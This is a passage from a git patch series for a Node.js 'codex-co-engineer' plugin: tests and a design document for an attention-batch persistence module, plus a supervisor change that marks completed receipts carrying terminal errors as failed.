batch_id: latched.record.batch_id, + expected_revision: durable.record.revision, + reply: makeReply(latched.record.batch_id, [grok], 'allow_always'), + deliver, + })); + assert.equal(second.code, 'attention_batch_reply_conflict'); + }); +}); + +test('concurrent identical latches converge; concurrent different replies have one winner', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const { items, source } = itemsAndSource([grok]); + const results = await Promise.all(Array.from({ length: 8 }, () => handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }))); + const created = results.filter((result) => result.created); + assert.equal(created.length, 1); + for (const result of results) { + assert.equal(result.record.batch_id, created[0].record.batch_id); + assert.equal(result.record.revision, 1); + } + + const { deliver } = trackingDeliver(); + const { cancel } = trackingCancel(); + const settled = await Promise.allSettled([ + handle.reply({ + run_id: RUN_ID, + batch_id: created[0].record.batch_id, + expected_revision: 1, + reply: makeReply(created[0].record.batch_id, [grok], 'allow_once'), + deliver, + cancel, + }), + handle.reply({ + run_id: RUN_ID, + batch_id: created[0].record.batch_id, + expected_revision: 1, + reply: makeReply(created[0].record.batch_id, [grok], 'allow_always'), + deliver, + cancel, + }), + ]); + const wins = settled.filter((entry) => entry.status === 'fulfilled'); + const losses = settled.filter((entry) => entry.status === 'rejected'); + assert.equal(wins.length, 1); + assert.equal(losses.length, 1); + assert.ok(losses[0].reason instanceof RunContractV1Error); + assert.ok( + losses[0].reason.code === 'attention_batch_reply_conflict' + || losses[0].reason.code === 'attention_batch_revision_conflict', + ); + const final = await handle.get(RUN_ID); + assert.equal(final.record.reply.answers[0].response, wins[0].value.record.reply.answers[0].response); + }); +}); + +test('unconfirmed cancel records safe_cancel_unconfirmed and stays content-free', async () => { + await withRoot(async ({ handle }) => { + const dsh = (await import('./fixtures/r1-attention-batch-fixtures.mjs')).dshItem(); + const { items, source } = itemsAndSource([dsh]); + const { cancel } = trackingCancel('unconfirmed'); + const receipt = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, cancel, + }); + const codes = receipt.record.unresolved.map((entry) => entry.code); + assert.ok(codes.includes('same_session_reply_unsupported')); + assert.ok(codes.includes('safe_cancel_unconfirmed')); + assert.equal(receipt.complete_candidate_blocked, true); + assertContentFree(Object.assign(new Error(receipt.record.unresolved[0].code), { + message: receipt.record.unresolved[0].code, + })); + }); +}); + +test('expired deadline unresolved cancels only the affected lane', async () => { + await withRoot(async ({ handle }) => { + const live = grokItem({ deadlineAt: '2099-01-01T00:00:00.000Z' }); + const expired = grokItem({ + assignmentId: 'assign-late', + taskId: 'task-late', + sessionId: 'sess-late', + questionId: 'q-late', + eventCursor: '8', + deadlineAt: '2020-01-01T00:00:00.000Z', + }); + const { items, source } = itemsAndSource([live, expired]); + const { cancel, calls } = trackingCancel(); + const receipt = await handle.latch({ + run_id: RUN_ID, + source, + items, + expected_revision: 0, + cancel, + now: Date.parse('2021-01-01T00:00:00.000Z'), + }); + const byId = Object.fromEntries( + receipt.record.items.map((item) => [item.assignment_id, item]), + ); + assert.equal(byId[live.assignment_id].disposition, 'pending'); + assert.equal(byId[expired.assignment_id].disposition, 'unresolved'); + assert.equal(calls.length, 1); + assert.equal(calls[0].assignment_id, expired.assignment_id); + assert.ok(receipt.record.unresolved.some((entry) => entry.code === 'reply_deadline_expired')); + }); +}); + +test('foreign files, group-writable records, and secret-bearing errors stay content-free', async () => { + await withRoot(async ({ root, handle }) => { + const { items, source } = itemsAndSource([grokItem()]); + await handle.latch({ run_id: RUN_ID, source, items, expected_revision: 0 }); + await writeFile(path.join(root, 'runs', RUN_ID, 'journal.jsonl'), `${HOSTILE_SECRET}\n`); + const foreign = await errorOf(() => handle.get(RUN_ID)); + assert.equal(foreign.code, 'attention_batch_root_shared'); + assertContentFree(foreign); + }); + + await withRoot(async ({ handle }) => { + const missing = await errorOf(() => handle.get('run-missing-batch')); + assert.equal(missing.code, 'attention_batch_not_found'); + assertContentFree(missing); + + const { items, source } = itemsAndSource([grokItem()]); + const leak = await errorOf(() => handle.latch({ + run_id: RUN_ID, + source, + items, + expected_revision: 0, + note: HOSTILE_TOKEN, + })); + assert.equal(leak.code, 'unknown_key'); + assertContentFree(leak); + assert.equal(utilTypes.isProxy(handle), false); + assert.equal(HOSTILE_PATH.startsWith('/tmp/'), true); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-attention-batch.test.mjs b/plugins/codex-co-engineer/test/r1-attention-batch.test.mjs new file mode 100644 index 0000000..abe0c92 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-attention-batch.test.mjs @@ -0,0 +1,436 @@ +// P34 AttentionBatchV1 focused coverage: owner-only latch, one reply round, +// unsupported unresolved + affected-lane cancel, restart of exact identities, +// required-unresolved candidate blocking, and P25 isolation. + +import assert from 'node:assert/strict'; +import { readFile, readdir, rm } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ATTENTION_BATCH_DISPOSITIONS, + ATTENTION_BATCH_FILE_NAME, + ATTENTION_BATCH_ITEM_KEYS, + ATTENTION_BATCH_PROVIDERS, + ATTENTION_BATCH_RECORD_KEYS, + ATTENTION_BATCH_REPLY_CAPABILITIES, + ATTENTION_BATCH_SCHEMA_ID, + ATTENTION_BATCH_SOURCE_KEYS, + ATTENTION_BATCH_STATUSES, + ATTENTION_BATCH_TASK_CURSOR_KEYS, + ATTENTION_BATCH_UNRESOLVED_CODES, + ATTENTION_BATCH_VERSION, + describeAttentionBatchV1, + openAttentionRoot, +} from '../mcp/v3/attention-batch.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + RUN_JOURNAL_EVENT_KINDS, + RUN_JOURNAL_GENESIS_PREV as REDUCER_GENESIS, +} from '../mcp/v3/run-reducer.mjs'; +import { createRunJournal } from '../mcp/v3/run-journal.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { + makePrivateRoot as makeStoreRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_C, + RUN_ID, + RUN_JOURNAL_GENESIS_PREV, + batchIdFor, + cloudItem, + cursorLocalItem, + dshItem, + grokItem, + itemsAndSource, + makePrivateRoot, + makeReply, + trackingCancel, + trackingDeliver, +} from './fixtures/r1-attention-batch-fixtures.mjs'; + +const MODULE_PATH = fileURLToPath(new URL('../mcp/v3/attention-batch.mjs', import.meta.url)); +const REDUCER_PATH = fileURLToPath(new URL('../mcp/v3/run-reducer.mjs', import.meta.url)); +const JOURNAL_PATH = fileURLToPath(new URL('../mcp/v3/run-journal.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +async function withRoot(fn) { + const root = await makePrivateRoot(); + try { + const handle = await openAttentionRoot(root); + return await fn({ root, handle }); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('AttentionBatchV1 is the frozen v1 contract with exact record keys', () => { + assert.equal(ATTENTION_BATCH_SCHEMA_ID, 'codex-co-engineer.attention-batch.v1'); + assert.equal(ATTENTION_BATCH_VERSION, 1); + assert.deepEqual([...ATTENTION_BATCH_RECORD_KEYS], [ + 'schema', 'version', 'run_id', 'batch_id', 'revision', 'status', + 'source', 'items', 'reply', 'unresolved', + ]); + assert.deepEqual([...ATTENTION_BATCH_STATUSES], ['open', 'reply_committed', 'resolved']); + assert.deepEqual([...ATTENTION_BATCH_SOURCE_KEYS], [ + 'journal_revision', 'journal_head_hash', 'task_cursors', + ]); + assert.deepEqual([...ATTENTION_BATCH_TASK_CURSOR_KEYS], [ + 'assignment_id', 'task_id', 'event_cursor', + ]); + assert.deepEqual([...ATTENTION_BATCH_ITEM_KEYS], [ + 'assignment_id', 'task_id', 'provider', 'required', 'session_id', + 'question_id', 'event_cursor', 'question_digest', 'prompt', 'options', + 'reply_capability', 'disposition', 'deadline_at', + ]); + assert.deepEqual([...ATTENTION_BATCH_PROVIDERS], [ + 'grok', 'cursor-local', 'cursor-cloud', 'dsh', + ]); + assert.deepEqual([...ATTENTION_BATCH_REPLY_CAPABILITIES], ['same_session', 'unsupported']); + assert.deepEqual([...ATTENTION_BATCH_DISPOSITIONS], ['pending', 'answered', 'unresolved']); + assert.deepEqual([...ATTENTION_BATCH_UNRESOLVED_CODES], [ + 'same_session_reply_unsupported', + 'late_attention_after_latch', + 'reply_delivery_failed', + 'reply_deadline_expired', + 'safe_cancel_unconfirmed', + ]); + const inventory = describeAttentionBatchV1(); + assert.equal(inventory.wake, false); + assert.equal(inventory.remote_mutated, false); + assert.equal(inventory.bounds.reply_round, 1); + assert.deepEqual([...inventory.ownership.forbidden], [ + 'p25_event_kind_change', + 'question_encoding_in_child_progress_note', + 'foreign_p25_journal_files', + 'scheduler', + 'provider_dispatch', + 'candidate_composition', + 'server_tool_wiring', + 'cleanup_implementation', + 'gate_a', + 'release', + ]); + assertFrozenTree(inventory); +}); + +test('first latch publishes one immutable sorted question set at a P25 boundary', async () => { + await withRoot(async ({ root, handle }) => { + const grok = grokItem(); + const local = cursorLocalItem(); + const { items, source } = itemsAndSource([local, grok]); + const { cancel, calls } = trackingCancel(); + const receipt = await handle.latch({ + run_id: RUN_ID, + source, + items, + expected_revision: 0, + cancel, + }); + assert.equal(receipt.created, true); + assert.equal(receipt.wake, false); + assert.equal(receipt.remote_mutated, false); + assert.equal(receipt.complete_candidate_blocked, false); + assert.equal(receipt.record.schema, ATTENTION_BATCH_SCHEMA_ID); + assert.equal(receipt.record.version, 1); + assert.equal(receipt.record.run_id, RUN_ID); + assert.equal(receipt.record.revision, 1); + assert.equal(receipt.record.status, 'open'); + assert.equal(receipt.record.reply, null); + assert.deepEqual(receipt.record.items.map((item) => item.assignment_id), [ + ASSIGNMENT_A, local.assignment_id, + ]); + assert.equal(receipt.record.items[0].reply_capability, 'same_session'); + assert.equal(receipt.record.items[1].reply_capability, 'same_session'); + assert.equal(receipt.record.batch_id, batchIdFor(RUN_ID, source, items)); + assert.equal(calls.length, 0); + assertFrozenTree(receipt); + const stored = await readFile( + path.join(root, 'runs', RUN_ID, ATTENTION_BATCH_FILE_NAME), + ); + assert.match(stored.toString('utf8'), /\n$/u); + const names = await readdir(path.join(root, 'runs', RUN_ID)); + assert.deepEqual(names, [ATTENTION_BATCH_FILE_NAME]); + }); +}); + +test('identical latch replay is idempotent and does not grow revision', async () => { + await withRoot(async ({ handle }) => { + const { items, source } = itemsAndSource([grokItem()]); + const first = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const second = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + assert.equal(first.created, true); + assert.equal(second.created, false); + assert.equal(second.record.revision, 1); + assert.equal( + canonicalJsonStringify(first.record), + canonicalJsonStringify(second.record), + ); + }); +}); + +test('unsupported DSH and Cursor Cloud items become unresolved and cancel only those lanes', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const dsh = dshItem(); + const cloud = cloudItem(); + const { items, source } = itemsAndSource([grok, dsh, cloud]); + const { cancel, calls } = trackingCancel(); + const receipt = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, cancel, + }); + assert.equal(receipt.record.items[0].disposition, 'pending'); + assert.equal(receipt.record.items[1].disposition, 'unresolved'); + assert.equal(receipt.record.items[2].disposition, 'unresolved'); + assert.equal(receipt.complete_candidate_blocked, true); + const codes = receipt.record.unresolved.map((entry) => `${entry.assignment_id}:${entry.code}`); + assert.ok(codes.includes(`${dsh.assignment_id}:same_session_reply_unsupported`)); + assert.ok(codes.includes(`${cloud.assignment_id}:same_session_reply_unsupported`)); + assert.equal(calls.length, 2); + assert.deepEqual(calls.map((call) => call.assignment_id).sort(), [ + dsh.assignment_id, cloud.assignment_id, + ].sort()); + assert.equal(calls.some((call) => call.assignment_id === grok.assignment_id), false); + }); +}); + +test('one reply round is durable before delivery and resolves exact same-session identities', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const { items, source } = itemsAndSource([grok]); + const latched = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const { deliver, calls } = trackingDeliver(); + const { cancel } = trackingCancel(); + const replied = await handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: 1, + reply: makeReply(latched.record.batch_id, [grok]), + deliver, + cancel, + }); + assert.equal(replied.created, true); + assert.equal(replied.record.status, 'resolved'); + assert.equal(replied.record.reply.round, 1); + assert.equal(replied.record.items[0].disposition, 'answered'); + assert.equal(replied.complete_candidate_blocked, false); + assert.equal(calls.length, 1); + assert.equal(calls[0].session_id, grok.session_id); + assert.equal(calls[0].question_id, grok.question_id); + assert.equal(calls[0].task_id, grok.task_id); + assert.equal(calls[0].response, 'continue'); + }); +}); + +test('restart retries only the exact latched identities after a durable reply', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const { items, source } = itemsAndSource([grok]); + const latched = await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const firstDeliver = trackingDeliver('failed'); + const { cancel } = trackingCancel(); + const failed = await handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: 1, + reply: makeReply(latched.record.batch_id, [grok], 'allow_once'), + deliver: firstDeliver.deliver, + cancel, + }); + assert.equal(failed.record.items[0].disposition, 'unresolved'); + assert.ok(failed.record.unresolved.some((entry) => entry.code === 'reply_delivery_failed')); + + const grok2 = grokItem(); + const { items: lateItems, source: lateSource } = itemsAndSource([grok2]); + const retry = trackingDeliver(); + const error = await errorOf(() => handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: failed.record.revision, + reply: makeReply(latched.record.batch_id, [grok2], 'different'), + deliver: retry.deliver, + cancel, + })); + assert.equal(error.code, 'attention_batch_reply_conflict'); + assert.equal(retry.calls.length, 0); + assert.equal( + canonicalJsonStringify((await handle.get(RUN_ID)).record.reply), + canonicalJsonStringify(failed.record.reply), + ); + assert.equal(lateItems.length, 1); + assert.equal(lateSource.task_cursors.length, 1); + }); +}); + +test('required unresolved blocks a complete candidate; optional unresolved does not', async () => { + await withRoot(async ({ handle }) => { + const requiredCloud = cloudItem({ required: true }); + const optionalDsh = dshItem({ required: false, assignmentId: ASSIGNMENT_A, taskId: 'task-opt' }); + const requiredPair = itemsAndSource([requiredCloud]); + const requiredReceipt = await handle.latch({ + run_id: 'run-required-block', + source: requiredPair.source, + items: requiredPair.items, + expected_revision: 0, + cancel: trackingCancel().cancel, + }); + assert.equal(requiredReceipt.complete_candidate_blocked, true); + + const optionalPair = itemsAndSource([optionalDsh]); + const optionalReceipt = await handle.latch({ + run_id: 'run-optional-open', + source: optionalPair.source, + items: optionalPair.items, + expected_revision: 0, + cancel: trackingCancel().cancel, + }); + assert.equal(optionalReceipt.complete_candidate_blocked, false); + assert.equal(optionalReceipt.record.items[0].disposition, 'unresolved'); + }); +}); + +test('later questions cannot open a second round and cancel only the late lanes', async () => { + await withRoot(async ({ handle }) => { + const grok = grokItem(); + const first = itemsAndSource([grok]); + await handle.latch({ + run_id: RUN_ID, source: first.source, items: first.items, expected_revision: 0, + }); + const late = cloudItem(); + const second = itemsAndSource([late]); + const { cancel, calls } = trackingCancel(); + const receipt = await handle.latch({ + run_id: RUN_ID, + source: second.source, + items: second.items, + expected_revision: 1, + cancel, + }); + assert.equal(receipt.created, false); + assert.equal(receipt.record.items.length, 1); + assert.equal(receipt.record.items[0].assignment_id, grok.assignment_id); + assert.ok(receipt.record.unresolved.some((entry) => ( + entry.assignment_id === late.assignment_id + && entry.code === 'late_attention_after_latch' + ))); + assert.equal(calls.length, 1); + assert.equal(calls[0].assignment_id, late.assignment_id); + assert.equal(receipt.complete_candidate_blocked, true); + }); +}); + +test('unsupported-only batch accepts the empty one-round reply and resolves', async () => { + await withRoot(async ({ handle }) => { + const dsh = dshItem({ required: false }); + const { items, source } = itemsAndSource([dsh]); + const latched = await handle.latch({ + run_id: RUN_ID, + source, + items, + expected_revision: 0, + cancel: trackingCancel().cancel, + }); + const replied = await handle.reply({ + run_id: RUN_ID, + batch_id: latched.record.batch_id, + expected_revision: 1, + reply: makeReply(latched.record.batch_id, []), + }); + assert.equal(replied.record.status, 'resolved'); + assert.equal(replied.record.reply.answers.length, 0); + assert.equal(replied.record.reply.round, 1); + }); +}); + +test('P25 journal bytes stay unchanged and attention never writes journal files', async () => { + const storeRoot = await makeStoreRoot('r1-p34-p25-store-'); + const journalRoot = await makeStoreRoot('r1-p34-p25-journal-'); + const attentionRoot = await makePrivateRoot('r1-p34-p25-attention-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: RUN_ID })); + const journal = await createRunJournal({ root: journalRoot, store, run_id: RUN_ID }); + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + await journal.append({ + kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.tick' }, + }); + const before = await readFile(path.join(journal.directory, 'journal.jsonl')); + const state = await journal.currentState(); + const grok = grokItem(); + const { items, source } = itemsAndSource([grok]); + source.journal_revision = state.revision; + source.journal_head_hash = state.head_hash; + const handle = await openAttentionRoot(attentionRoot); + await handle.latch({ + run_id: RUN_ID, source, items, expected_revision: 0, + }); + const after = await readFile(path.join(journal.directory, 'journal.jsonl')); + assert.equal(Buffer.compare(before, after), 0); + const attentionNames = await readdir(path.join(attentionRoot, 'runs', RUN_ID)); + assert.equal(attentionNames.includes('journal.jsonl'), false); + assert.equal(attentionNames.includes('state.json'), false); + assert.equal(attentionNames.includes('created.json'), false); + assert.deepEqual(attentionNames, [ATTENTION_BATCH_FILE_NAME]); + const journalNames = await readdir(journal.directory); + assert.equal(journalNames.includes(ATTENTION_BATCH_FILE_NAME), false); + assert.deepEqual([...RUN_JOURNAL_EVENT_KINDS], [ + 'run_opened', 'child_started', 'child_progress', 'child_artifact', + 'child_terminal', 'run_terminal', + ]); + assert.equal(RUN_JOURNAL_GENESIS_PREV, REDUCER_GENESIS); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + await rm(attentionRoot, { recursive: true, force: true }); + } +}); + +test('P34 source does not import P25, mailbox, scheduler, or server surfaces', async () => { + const source = await readFile(MODULE_PATH, 'utf8'); + for (const forbidden of [ + 'run-journal.mjs', + 'run-reducer.mjs', + 'mailbox.mjs', + 'server.mjs', + 'supervisor.mjs', + 'run-orchestration.mjs', + 'provider-registry.mjs', + ]) { + assert.equal(source.includes(`from './${forbidden}'`), false, forbidden); + } + const reducer = await readFile(REDUCER_PATH, 'utf8'); + const journal = await readFile(JOURNAL_PATH, 'utf8'); + assert.match(reducer, /export const RUN_JOURNAL_EVENT_KINDS/u); + assert.match(journal, /journal\.jsonl/u); + assert.equal(reducer.includes('attention-batch'), false); + assert.equal(journal.includes('attention-batch.v1.json'), false); +}); From 257bf046a06c60930fc424ee265cafbc2e82c81b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 20:07:55 +0000 Subject: [PATCH 115/151] docs(attention): specify the P34 attention-batch boundary Record the owner-only AttentionBatchV1 schema, frozen vocabularies, CAS/publication discipline, P25 isolation, and non-goals. --- docs/attention-batch.md | 107 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 107 insertions(+) create mode 100644 docs/attention-batch.md diff --git a/docs/attention-batch.md b/docs/attention-batch.md new file mode 100644 index 0000000..1074329 --- /dev/null +++ b/docs/attention-batch.md @@ -0,0 +1,107 @@ +# Attention batch (P34) + +P34 is the closed `AttentionBatchV1` persistence boundary. It latches one +immutable run-level question set at one accepted P25 revision/head/cursor +boundary, accepts exactly one durable reply round, and stores delivery plus +unresolved evidence in a separate owner-only root. It does not append P25 +events, encode questions in `child_progress.note`, dispatch providers, +compose a candidate, or expose a server/tool. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/attention-batch.mjs` +- `plugins/codex-co-engineer/test/r1-attention-batch.test.mjs` +- `plugins/codex-co-engineer/test/r1-attention-batch-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-attention-batch-fixtures.mjs` +- this document + +## Storage + +The caller supplies an existing private directory. The durable file is +always `runs//attention-batch.v1.json`. Directories are `0700` and +the record is `0600`. Opens are no-follow and owner-mode identity checked. +Publication uses a same-directory temporary, a complete write, file fsync, +atomic rename, and directory fsync. Mutating calls take `expected_revision` +compare-and-swap. The attention root must not be a P25 journal root and +must not contain P25 files (`journal.jsonl`, `state.json`, `created.json`, +`lock`). + +## Record + +Schema `codex-co-engineer.attention-batch.v1`, version `1`. Exact keys: + +`schema`, `version`, `run_id`, `batch_id`, `revision`, `status`, `source`, +`items`, `reply`, `unresolved`. + +Status is `open`, `reply_committed`, or `resolved`. `source` carries +`journal_revision`, `journal_head_hash`, and `task_cursors`. Each cursor and +item binds `assignment_id`, `task_id`, and `event_cursor`. Items are 1..8 +unique rows sorted by `assignment_id`. Prompt is `null` or sanitized UTF-8 +at most 4096 bytes; options are at most eight; the reply round is exactly +one; each response is at most 16384 bytes. + +Closed vocabularies: + +| Field | Values | +| --- | --- | +| provider | `grok`, `cursor-local`, `cursor-cloud`, `dsh` | +| reply_capability | `same_session`, `unsupported` | +| disposition | `pending`, `answered`, `unresolved` | +| unresolved code | `same_session_reply_unsupported`, `late_attention_after_latch`, `reply_delivery_failed`, `reply_deadline_expired`, `safe_cancel_unconfirmed` | + +Grok and Cursor Local are `same_session`. DSH and Cursor Cloud are +`unsupported`. A capability mismatch fails closed. + +## Transitions + +1. The first durable snapshot latches one immutable question set at one P25 + revision/head and cursor boundary (`status: open`, `revision: 1`). +2. Later questions cannot create a second round. They become + `late_attention_after_latch` and cancel only those late lanes. +3. Unsupported DSH/Cursor Cloud items become unresolved and cancel only the + affected lane. An unconfirmed cancel also records + `safe_cancel_unconfirmed`. +4. The reply is durable (`status: reply_committed`) before injected mailbox + delivery. Restart retries only the exact latched + run/assignment/task/session/question identities. +5. `resolved` is terminal when every item is `answered` or `unresolved`. A + required unresolved item, including required late attention, blocks a + complete candidate. Routine progress never wakes. + +## API + +- `openAttentionRoot(root)` — existing private directory; returns a handle. +- `handle.latch({ run_id, source, items, expected_revision, cancel?, now? })` +- `handle.reply({ run_id, batch_id, expected_revision, reply, deliver?, cancel?, now? })` +- `handle.get(run_id)` +- `describeAttentionBatchV1()`, `validateAttentionBatchRecordV1(record)`, + `attentionQuestionDigestV1(item)`, `deriveAttentionBatchIdV1(...)` + +Receipts are detached and deeply frozen. They carry the exact record plus +`created`, `complete_candidate_blocked`, `wake: false`, and +`remote_mutated: false`. Errors are typed `RunContractV1Error` values with +content-free diagnostics. + +`cancel` and `deliver` are injected seams. This module does not import +mailbox, drivers, scheduler, supervisor, server, or P25. + +## Ownership + +| Surface | Owner | Use here | +| --- | --- | --- | +| Six P25 event kinds, hash chain, cursor, derived state | P25 | source boundary values only; never written | +| Attention snapshots, batch identity, one reply, delivery disposition, unresolved evidence | P34 | this module | + +## Non-goals + +No P25 event kind or schema change. No question encoding in +`child_progress.note`. No foreign P25 journal files. No scheduler, provider +dispatch, candidate composition, server/tool wiring, cleanup +implementation, Gate A, or release claim. Remote mutation stays denied. + +## Testing + +``` +node --no-warnings --test test/r1-attention-batch.test.mjs \ + test/r1-attention-batch-adversarial.test.mjs +``` From 4291c5b3c737a75d923547f4f37a8254a327a2b7 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 20:11:24 +0000 Subject: [PATCH 116/151] feat(supervisor): classify terminal receipts before publicState mapping Add one deterministic classifier at the supervisor projection seam used by status, task, tasks, and cancel. Completed receipts that carry an explicit terminal error envelope or a whole-result terminal transport/provider error project failed instead of succeeded, without rewriting stored task.v1 bytes. transport_lost stays nonterminal reconciliation uncertainty. --- .../codex-co-engineer/mcp/v3/supervisor.mjs | 215 ++++++++++++++++-- 1 file changed, 202 insertions(+), 13 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs index 85c4e4e..cde9e54 100644 --- a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs +++ b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs @@ -911,6 +911,194 @@ function processGroupAlive(processGroup) { const wait = (milliseconds) => new Promise((resolve) => setTimeout(resolve, milliseconds)); +export const SUPERVISOR_FALSE_SUCCESS_REASON = Object.freeze({ + code: 'completed_with_terminal_error', + message: 'Completed receipt carried a terminal error.', +}); + +const WHOLE_RESULT_TERMINAL_TEXT = /^(?:[A-Za-z][\w.]*Error\s+)?(?:\[[A-Za-z0-9._-]{1,64}\]\s+)?PING timed out\.?$/u; +const TERMINAL_TRANSPORT_PROVIDER_CODES = new Set([ + 'unavailable', + 'retriable', + 'retriable_error', + 'ping_timeout', + 'ping_timed_out', + 'transport_error', + 'provider_error', + 'provider_unavailable', + 'connection_lost', + 'etimedout', + 'econnreset', + 'econnrefused', +]); + +function freezeTerminalClassification({ + stored_status, + projected_status, + public_state, + corrected, + reason = null, +}) { + return Object.freeze({ + stored_status, + projected_status, + public_state, + corrected, + reason, + error: reason ? Object.freeze({ ...SUPERVISOR_FALSE_SUCCESS_REASON }) : null, + }); +} + +function isWholeResultTerminalText(value) { + if (typeof value !== 'string') return false; + const text = value.trim(); + if (text.length === 0 || text.length > 256) return false; + return WHOLE_RESULT_TERMINAL_TEXT.test(text); +} + +function explicitTerminalErrorEnvelope(error) { + if (error == null) return false; + if (typeof error === 'string') { + const text = error.trim(); + return text.length > 0 && text !== 'ok'; + } + if (typeof error !== 'object' || Array.isArray(error)) return false; + let code; + let name; + let message; + try { + code = error.code; + name = error.name; + message = error.message; + } catch { + return true; + } + if (typeof code === 'string' && code.length > 0 && code !== 'ok') return true; + if (typeof name === 'string' && /error$/iu.test(name.trim())) return true; + if (typeof message === 'string' && isWholeResultTerminalText(message)) return true; + return false; +} + +function wholeResultTerminalError(result) { + if (result == null) return false; + if (typeof result === 'string') return isWholeResultTerminalText(result); + if (typeof result !== 'object' || Array.isArray(result)) return false; + let code; + let name; + let message; + let nested; + let text; + try { + code = result.code; + name = result.name; + message = result.message; + nested = result.error; + text = result.text ?? result.result ?? result.output ?? result.value; + } catch { + return true; + } + if (typeof name === 'string' && /error$/iu.test(name.trim())) return true; + if (typeof code === 'string' && TERMINAL_TRANSPORT_PROVIDER_CODES.has(code.trim().toLowerCase())) return true; + if (typeof message === 'string' && isWholeResultTerminalText(message)) return true; + if (explicitTerminalErrorEnvelope(nested)) { + if (text == null || text === '') return true; + if (typeof text === 'string' && isWholeResultTerminalText(text)) return true; + return false; + } + return typeof text === 'string' && isWholeResultTerminalText(text); +} + +/** + * Deterministic terminal-receipt classifier at the supervisor projection + * seam. Callers map `projected_status` through `publicState` and must not + * write the overlay back onto `codex-co-engineer.task.v1` stored bytes. + */ +export function classifySupervisorTerminalReceipt(task) { + if (!task || typeof task !== 'object' || Array.isArray(task)) { + return freezeTerminalClassification({ + stored_status: null, + projected_status: null, + public_state: publicState(undefined), + corrected: false, + }); + } + let storedStatus = null; + try { + storedStatus = typeof task.status === 'string' ? task.status : null; + } catch { + return freezeTerminalClassification({ + stored_status: null, + projected_status: null, + public_state: publicState(undefined), + corrected: false, + }); + } + if (storedStatus === 'transport_lost') { + return freezeTerminalClassification({ + stored_status: 'transport_lost', + projected_status: 'transport_lost', + public_state: publicState('transport_lost'), + corrected: false, + }); + } + const wouldSucceed = storedStatus === 'completed' || storedStatus === 'succeeded'; + if (wouldSucceed) { + let envelope = false; + let whole = false; + try { + envelope = explicitTerminalErrorEnvelope(task.error); + } catch { + envelope = true; + } + try { + whole = wholeResultTerminalError(task.result); + } catch { + whole = true; + } + if (envelope || whole) { + return freezeTerminalClassification({ + stored_status: storedStatus, + projected_status: 'failed', + public_state: publicState('failed'), + corrected: true, + reason: SUPERVISOR_FALSE_SUCCESS_REASON.code, + }); + } + } + return freezeTerminalClassification({ + stored_status: storedStatus, + projected_status: storedStatus, + public_state: publicState(storedStatus ?? undefined), + corrected: false, + }); +} + +export function projectSupervisorPublicState(task) { + return classifySupervisorTerminalReceipt(task).public_state; +} + +export function projectSupervisorTerminalReceipt(task) { + const classified = classifySupervisorTerminalReceipt(task); + if (!classified.corrected) return task; + try { + return { + ...task, + status: classified.projected_status, + error: classified.error, + }; + } catch { + return { + status: classified.projected_status, + error: classified.error, + }; + } +} + +export function projectSupervisorTaskRecords(tasks) { + if (!Array.isArray(tasks)) return []; + return tasks.map((task) => projectSupervisorTerminalReceipt(task)); +} + async function probeCommand(command, args, authenticatedPattern, env) { try { const { stdout, stderr } = await execFile(command, args, { @@ -968,7 +1156,7 @@ async function providerReadiness(env = process.env) { export async function cancelTask(root, taskId, dependencies = {}) { const { task } = await readTask(root, taskId); - if (!ACTIVE.has(task.status)) return task; + if (!ACTIVE.has(task.status)) return projectSupervisorTerminalReceipt(task); if (task.provider === 'cursor-cloud' && task.provider_agent_id) { const runtime = await readRuntimeRecord(root, taskId); await updateTask(root, taskId, { status: 'cancelling' }); @@ -983,7 +1171,7 @@ export async function cancelTask(root, taskId, dependencies = {}) { if (identity) { try { process.kill(-identity.process_group, 'SIGTERM'); } catch (error) { if (error?.code !== 'ESRCH') throw error; } } - return terminal; + return projectSupervisorTerminalReceipt(terminal); 